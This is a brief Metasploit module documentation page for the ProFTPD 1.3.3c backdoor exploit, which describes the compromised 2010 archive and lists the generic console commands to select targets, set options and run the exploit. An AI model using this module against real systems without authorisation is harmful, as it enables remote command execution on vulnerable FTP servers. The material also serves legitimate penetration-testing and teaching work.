This module exploits a malicious backdoor that was added to the ProFTPD download archive. This backdoor was present in the proftpd-1.3.3c.tar.[bz2|gz] archive between November 28th 2010 and 2nd December 2010.
Unix
cmd
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/unix/ftp/proftpd_133c_backdoor
msf exploit(proftpd_133c_backdoor) > show targets
...targets...
msf exploit(proftpd_133c_backdoor) > set TARGET < target-id >
msf exploit(proftpd_133c_backdoor) > show options
...show and set options...
msf exploit(proftpd_133c_backdoor) > exploit
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